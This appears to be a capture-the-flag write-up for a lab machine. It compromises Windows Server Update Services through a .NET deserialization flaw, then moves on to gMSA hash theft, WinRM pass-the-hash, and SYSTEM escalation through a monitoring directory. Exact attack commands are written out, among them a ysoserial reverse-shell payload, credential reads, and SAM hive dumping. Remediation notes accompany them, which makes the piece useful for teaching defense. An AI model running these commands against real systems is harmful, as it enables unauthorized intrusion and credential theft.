Logging
Summary
I identified Windows Server Update Services (WSUS) exposed on the network and exploited a .NET BinaryFormatter deserialization vulnerability in the WSUS HTTP handler to gain unauthenticated code execution on the server. From that foothold I extracted the NTLM hash of the msa_health$ Group Managed Service Account, used it to authenticate interactively over WinRM to capture the user flag, then leveraged the service account's write access to a SYSTEM-owned monitoring directory — causing the UpdateMonitor service to execute my own commands — to reach SYSTEM-level access and recover the domain Administrator's credentials.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -sC --min-rate 3000 -p- $TARGETExact commands 3
curl -s http://$TARGET:8530/selfupdate/iuident.cab -Iysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell -enc <base64_encoded_reverse_shell>" > wsus_payload.b64python3 wsus_deser.py --target http://$TARGET:8530 --payload wsus_payload.b64FixFirewall WSUS ports and eliminate unauthenticated .NET deserialization exposureCritical
Exact commands 2
.\GMSAPasswordReader.exe --AccountName msa_health$bloodyAD --host $TARGET -d logging.htb -u '<wsus_svc_account>' -p '<credential>' get object 'msa_health$' --attr msDS-ManagedPasswordFixRestrict which accounts can read the msa_health$ gMSA managed passwordHigh
Exact commands 3
nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H $PASSWORD -x 'whoami /all'nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H $PASSWORD -x 'for /r C:\Users %i in (user.txt) do @type "%i"'evil-winrm -i $TARGET -u 'msa_health$' -H $PASSWORDFixProhibit service accounts from opening interactive WinRM sessionsMedium
Exact commands 4
nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H $PASSWORD -X 'Get-ChildItem -Force C:\ProgramData\UpdateMonitor -Recurse | Select-Object FullName,Mode,LastWriteTime'cmd /c "logman stop pwnlog -ets > nul 2>&1 & logman delete pwnlog > nul 2>&1 & del C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt 2>nul"cmd /c "logman create trace pwnlog -ets -o C:\ProgramData\UpdateMonitor\Logs\pwnlog.etl && cmd.exe /c whoami /all > C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt 2>&1 && echo ---ROOT--- >> C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt && type C:\Users\Administrator\Desktop\root.txt >> C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt 2>&1"type C:\ProgramData\UpdateMonitor\Logs\logman_rc.txtFixRemove service-account write access to the UpdateMonitor logs directory and harden the monitoring serviceHigh
Exact commands 3
reg save HKLM\SAM C:\Windows\Temp\sam.bak && reg save HKLM\SYSTEM C:\Windows\Temp\sys.bakimpacket-secretsdump -sam sam.bak -system sys.bak LOCALnxc winrm $TARGET -d logging.htb -u Administrator -H $PASSWORD -X 'whoami; Get-Content C:\Users\Administrator\Desktop\root.txt'Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
WSUS Deserialization RCEService RCET1190CVE-2025-59287
What it is
Windows Server Update Services (WSUS) exposes a SOAP endpoint (ApiRemoting30) that deserializes externally supplied .NET objects without adequate type controls. A crafted serialized gadget chain sent to an HTTP-exposed WSUS instance (port 8530/8531) triggers code execution in the WSUS service context — unauthenticated.
Why it works
WSUS is meant to be an internal patch-distribution service; exposing it over plain HTTP and deserializing untrusted SOAP payloads is the flaw. Because WSUS often runs on a Domain Controller, RCE here is a fast path to high-value access. Remediate by patching, enforcing SSL, and restricting WSUS network exposure.